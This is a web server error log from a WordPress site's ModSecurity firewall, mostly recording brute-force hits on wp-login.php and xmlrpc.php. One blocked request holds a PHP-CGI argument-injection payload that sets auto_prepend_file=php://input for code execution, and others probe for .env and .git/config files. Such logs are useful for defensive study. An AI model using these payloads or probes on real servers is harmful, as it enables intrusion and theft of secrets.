[Sat Nov 22 07:52:24.951590 2025] [:error] [pid 53566:tid 53571] [client 187.190.206.138:33397] [client 187.190.206.138] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 187.190.206.138, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSD7OMbSHDBkRbwMbd54zQAAAMM"]
[Sat Nov 22 07:53:24.867477 2025] [:error] [pid 53477:tid 53490] [client 187.190.206.138:33979] [client 187.190.206.138] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 187.190.206.138, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSD7dH7Lu30Ku9O40aIV1QAAAAk"]
[Sat Nov 22 07:54:24.972136 2025] [:error] [pid 53478:tid 53512] [client 187.190.206.138:34099] [client 187.190.206.138] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 187.190.206.138, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSD7sAhUYdXBbQswAdRPvQAAAEM"]
[Sat Nov 22 07:55:25.632103 2025] [:error] [pid 53477:tid 53483] [client 187.190.206.138:34295] [client 187.190.206.138] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 187.190.206.138, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSD77X7Lu30Ku9O40aIWZAAAAAI"]
[Sat Nov 22 07:56:24.651080 2025] [:error] [pid 9547:tid 9559] [client 187.190.206.138:34281] [client 187.190.206.138] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 187.190.206.138, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSD8KNClOR5qk7DoMeHBEgAAAUY"]
[Sat Nov 22 08:14:01.216520 2025] [:error] [pid 53478:tid 53520] [client 173.239.254.80:20601] [client 173.239.254.80] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.254.80, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aSEASQhUYdXBbQswAdRVLwAAAEs"]
[Sat Nov 22 08:14:01.221844 2025] [:error] [pid 9547:tid 9576] [client 173.239.254.53:44495] [client 173.239.254.53] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.254.53, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aSEASdClOR5qk7DoMeHI3AAAAVc"]
[Sat Nov 22 08:38:01.461742 2025] [:error] [pid 53478:tid 53526] [client 173.239.254.75:30905] [client 173.239.254.75] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.254.75, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aSEF6QhUYdXBbQswAdRghQAAAFE"]
[Sat Nov 22 08:38:01.462245 2025] [:error] [pid 9547:tid 9577] [client 173.239.254.50:51597] [client 173.239.254.50] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.254.50, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aSEF6dClOR5qk7DoMeHcogAAAVg"]
[Sat Nov 22 09:02:24.989185 2025] [:error] [pid 53478:tid 53533] [client 173.239.254.62:33231] [client 173.239.254.62] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.254.62, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aSELoAhUYdXBbQswAdRm8wAAAFg"]
[Sat Nov 22 09:02:24.992044 2025] [:error] [pid 53478:tid 53522] [client 193.37.33.251:52047] [client 193.37.33.251] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.37.33.251, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aSELoAhUYdXBbQswAdRm9AAAAE0"]
[Sat Nov 22 09:26:55.649461 2025] [:error] [pid 25856:tid 25869] [client 173.239.254.79:34183] [client 173.239.254.79] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.254.79, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aSERXxsTP0wy94zKUvEe4AAAAQs"]
[Sat Nov 22 09:26:55.649656 2025] [:error] [pid 9547:tid 9559] [client 173.239.254.77:32167] [client 173.239.254.77] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.254.77, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aSERX9ClOR5qk7DoMeHyzgAAAUY"]
[Sat Nov 22 09:51:23.705699 2025] [:error] [pid 53478:tid 53522] [client 173.239.254.60:47059] [client 173.239.254.60] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.254.60, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aSEXGwhUYdXBbQswAdRz3gAAAE0"]
[Sat Nov 22 09:51:23.706341 2025] [:error] [pid 25856:tid 25876] [client 173.239.254.58:49885] [client 173.239.254.58] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.254.58, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aSEXGxsTP0wy94zKUvEnJwAAARI"]
[Sat Nov 22 10:16:14.168103 2025] [:error] [pid 9547:tid 9562] [client 173.239.254.49:24519] [client 173.239.254.49] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.254.49, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aSEc7tClOR5qk7DoMeEIigAAAUk"]
[Sat Nov 22 10:16:14.168365 2025] [:error] [pid 53479:tid 53539] [client 173.239.254.63:24343] [client 173.239.254.63] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.254.63, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aSEc7m6cicFF3Aas-oTcxQAAAIM"]
[Sat Nov 22 10:19:15.475578 2025] [proxy_fcgi:error] [pid 53479:tid 53539] (70007)The timeout specified has expired: [client 51.81.107.180:56222] AH01075: Error dispatching request to : (polling)
[Sat Nov 22 10:40:52.992732 2025] [:error] [pid 9547:tid 9577] [client 173.239.254.67:36747] [client 173.239.254.67] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.254.67, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aSEitNClOR5qk7DoMeESiwAAAVg"]
[Sat Nov 22 10:40:52.995479 2025] [:error] [pid 9547:tid 9575] [client 173.239.254.71:22761] [client 173.239.254.71] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.254.71, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aSEitNClOR5qk7DoMeESjAAAAVY"]
[Sat Nov 22 11:05:49.258461 2025] [:error] [pid 9547:tid 9574] [client 173.239.254.71:53209] [client 173.239.254.71] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.254.71, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aSEojdClOR5qk7DoMeEc6gAAAVU"]
[Sat Nov 22 11:16:22.672673 2025] [autoindex:error] [pid 9547:tid 9571] [client 139.59.37.180:51603] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Sat Nov 22 11:30:02.256853 2025] [:error] [pid 53477:tid 53496] [client 85.8.130.42:57191] [client 85.8.130.42] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.8.130.42, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aSEuOn7Lu30Ku9O40aJT4AAAAA8"]
[Sat Nov 22 11:30:02.258342 2025] [:error] [pid 53566:tid 53579] [client 173.239.254.78:45453] [client 173.239.254.78] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.254.78, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aSEuOsbSHDBkRbwMbd7DBwAAAMs"]
[Sat Nov 22 11:54:16.862682 2025] [:error] [pid 53566:tid 53583] [client 173.239.254.82:27113] [client 173.239.254.82] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.254.82, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aSEz6MbSHDBkRbwMbd7KMAAAAM8"]
[Sat Nov 22 12:19:17.003265 2025] [:error] [pid 53479:tid 53537] [client 173.239.254.55:55343] [client 173.239.254.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.254.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aSE5xW6cicFF3Aas-oT-uwAAAIE"]
[Sat Nov 22 12:19:26.212752 2025] [:error] [pid 9547:tid 9572] [client 167.99.182.39:50764] [client 167.99.182.39] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i)php://(std(in|out|err)|(in|out)put|fd|memory|temp|filter)" at ARGS_NAMES:\\xadd cgi.force_redirect=0 \\xadd disable_functions="" \\xadd allow_url_include=1 \\xadd auto_prepend_file=php://input. [file "/usr/local/apache/modsecurity-cwaf/rules/21_PHP_PHPGen.conf"] [line "22"] [id "218420"] [rev "2"] [msg "COMODO WAF: PHP Injection Attack: I/O Stream Found||www.gigfragments.org|F|2"] [data "Matched Data: php://input found within ARGS_NAMES:\\x5cxadd cgi.force_redirect=0 \\x5cxadd disable_functions=\\x22\\x22 \\x5cxadd allow_url_include=1 \\x5cxadd auto_prepend_file=php://input: \\xadd cgi.force_redirect=0 \\xadd disable_functions=\\x22\\x22 \\xadd allow_url_include=1 \\xadd auto_prepend_file=php://input"] [severity "CRITICAL"] [tag "CWAF"] [tag "PHPGen"] [hostname "www.gigfragments.org"] [uri "/php-cgi/php-cgi.exe"] [unique_id "aSE5ztClOR5qk7DoMeE3kQAAAVM"]
[Sat Nov 22 12:19:36.845835 2025] [authz_core:error] [pid 25856:tid 25861] [client 167.99.182.39:59626] AH01630: client denied by server configuration: /home/gigfrag/public_html/server-status
[Sat Nov 22 12:19:42.330709 2025] [:error] [pid 53479:tid 53537] [client 167.99.182.39:59662] [client 167.99.182.39] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/.env"] [unique_id "aSE53m6cicFF3Aas-oT-9QAAAIE"]
[Sat Nov 22 12:19:42.971591 2025] [:error] [pid 53479:tid 53549] [client 167.99.182.39:59672] [client 167.99.182.39] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/.git/config"] [unique_id "aSE53m6cicFF3Aas-oT-9gAAAI0"]
[Sat Nov 22 12:43:13.586387 2025] [:error] [pid 53479:tid 53542] [client 173.239.254.48:25805] [client 173.239.254.48] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.254.48, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aSE_YW6cicFF3Aas-oQHdwAAAIY"]
[Sat Nov 22 12:43:13.587477 2025] [:error] [pid 53566:tid 53574] [client 173.239.254.81:61881] [client 173.239.254.81] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.254.81, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aSE_YcbSHDBkRbwMbd7TTAAAAMY"]
[Sat Nov 22 13:07:15.578006 2025] [:error] [pid 53479:tid 53554] [client 173.239.254.53:48443] [client 173.239.254.53] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.254.53, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aSFFA26cicFF3Aas-oQP4gAAAJI"]
[Sat Nov 22 13:07:15.578511 2025] [:error] [pid 9547:tid 9554] [client 173.239.254.57:52441] [client 173.239.254.57] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.254.57, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aSFFA9ClOR5qk7DoMeFEHQAAAUE"]
[Sat Nov 22 13:31:09.473918 2025] [:error] [pid 53566:tid 53587] [client 85.8.130.40:56447] [client 85.8.130.40] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.8.130.40, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aSFKncbSHDBkRbwMbd7fowAAANM"]
[Sat Nov 22 13:31:09.474702 2025] [:error] [pid 53479:tid 53542] [client 85.8.130.41:53909] [client 85.8.130.41] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.8.130.41, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aSFKnW6cicFF3Aas-oQa4QAAAIY"]
[Sat Nov 22 13:55:26.350598 2025] [:error] [pid 25856:tid 25867] [client 173.239.254.70:48217] [client 173.239.254.70] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.254.70, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aSFQThsTP0wy94zKUvFrEAAAAQk"]
[Sat Nov 22 14:19:34.999799 2025] [:error] [pid 53477:tid 53503] [client 193.37.33.244:35257] [client 193.37.33.244] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.37.33.244, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aSFV9n7Lu30Ku9O40aJ5nAAAABY"]
[Sat Nov 22 14:19:34.999799 2025] [:error] [pid 25856:tid 25865] [client 173.239.254.60:25209] [client 173.239.254.60] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.254.60, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aSFV9hsTP0wy94zKUvFxWAAAAQc"]
[Sat Nov 22 14:41:48.511706 2025] [:error] [pid 53479:tid 53558] [client 50.62.183.56:34026] [client 50.62.183.56] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 50.62.183.56, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSFbLG6cicFF3Aas-oQ5OQAAAJY"]
[Sat Nov 22 14:43:40.999607 2025] [:error] [pid 53566:tid 53590] [client 173.239.254.52:24323] [client 173.239.254.52] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.254.52, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aSFbnMbSHDBkRbwMbd7x1QAAANY"]
[Sat Nov 22 14:43:40.999651 2025] [:error] [pid 53479:tid 53539] [client 173.239.254.46:55257] [client 173.239.254.46] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.254.46, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aSFbnG6cicFF3Aas-oQ5zgAAAIM"]
[Sat Nov 22 15:07:58.100703 2025] [:error] [pid 25856:tid 25870] [client 173.239.254.47:32089] [client 173.239.254.47] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.254.47, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aSFhThsTP0wy94zKUvF-awAAAQw"]
[Sat Nov 22 15:07:59.131045 2025] [:error] [pid 9547:tid 9568] [client 85.8.130.40:44291] [client 85.8.130.40] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.8.130.40, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aSFhT9ClOR5qk7DoMeFqeQAAAU8"]
[Sat Nov 22 15:28:22.504561 2025] [:error] [pid 53477:tid 53497] [client 185.2.4.33:48894] [client 185.2.4.33] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.2.4.33, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSFmFn7Lu30Ku9O40aKHiwAAABA"]
[Sat Nov 22 15:32:31.539258 2025] [:error] [pid 53566:tid 53586] [client 173.239.254.82:58617] [client 173.239.254.82] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.254.82, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aSFnD8bSHDBkRbwMbd77fwAAANI"]
[Sat Nov 22 15:32:31.540751 2025] [:error] [pid 53478:tid 53531] [client 173.239.254.82:20315] [client 173.239.254.82] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.254.82, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aSFnDwhUYdXBbQswAdTHHgAAAFY"]
[Sat Nov 22 15:56:39.638539 2025] [:error] [pid 53479:tid 53545] [client 193.37.33.251:63957] [client 193.37.33.251] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.37.33.251, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aSFst26cicFF3Aas-oRU2AAAAIk"]
[Sat Nov 22 15:56:39.638571 2025] [:error] [pid 53479:tid 53544] [client 173.239.254.63:34179] [client 173.239.254.63] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.254.63, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aSFst26cicFF3Aas-oRU1wAAAIg"]
[Sat Nov 22 16:20:53.432055 2025] [:error] [pid 53566:tid 53578] [client 85.8.130.42:22839] [client 85.8.130.42] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.8.130.42, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aSFyZcbSHDBkRbwMbd4GoQAAAMo"]
[Sat Nov 22 16:45:42.480305 2025] [:error] [pid 44259:tid 44265] [client 173.239.254.64:52063] [client 173.239.254.64] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.254.64, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aSF4NnXe1xL-_YOdRmQ-ggAAAYM"]
[Sat Nov 22 16:45:50.363772 2025] [:error] [pid 53479:tid 53558] [client 35.194.45.168:57602] [client 35.194.45.168] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.194.45.168, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSF4Pm6cicFF3Aas-oRqNwAAAJY"]
[Sat Nov 22 17:10:20.538916 2025] [:error] [pid 9547:tid 9562] [client 173.239.254.65:45117] [client 173.239.254.65] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.254.65, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aSF9_NClOR5qk7DoMeGRtQAAAUk"]
[Sat Nov 22 17:21:13.405557 2025] [:error] [pid 9547:tid 9570] [client 120.138.19.65:51760] [client 120.138.19.65] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 120.138.19.65, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSGAidClOR5qk7DoMeGU7gAAAVE"]
[Sat Nov 22 17:56:50.522729 2025] [:error] [pid 53478:tid 53530] [client 182.40.104.255:43152] [client 182.40.104.255] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aSGI4ghUYdXBbQswAdTpOAAAAFU"]
[Sat Nov 22 18:02:34.430351 2025] [:error] [pid 25856:tid 25872] [client 195.234.191.141:43304] [client 195.234.191.141] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 195.234.191.141, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSGKOhsTP0wy94zKUvGr8QAAAQ4"]
[Sat Nov 22 18:09:46.969631 2025] [:error] [pid 44259:tid 44264] [client 103.150.226.139:33564] [client 103.150.226.139] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.150.226.139, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSGL6nXe1xL-_YOdRmRguQAAAYI"]
[Sat Nov 22 18:39:52.255094 2025] [:error] [pid 53566:tid 53569] [client 192.250.235.90:51482] [client 192.250.235.90] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 192.250.235.90, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSGS-MbSHDBkRbwMbd4n-gAAAME"]
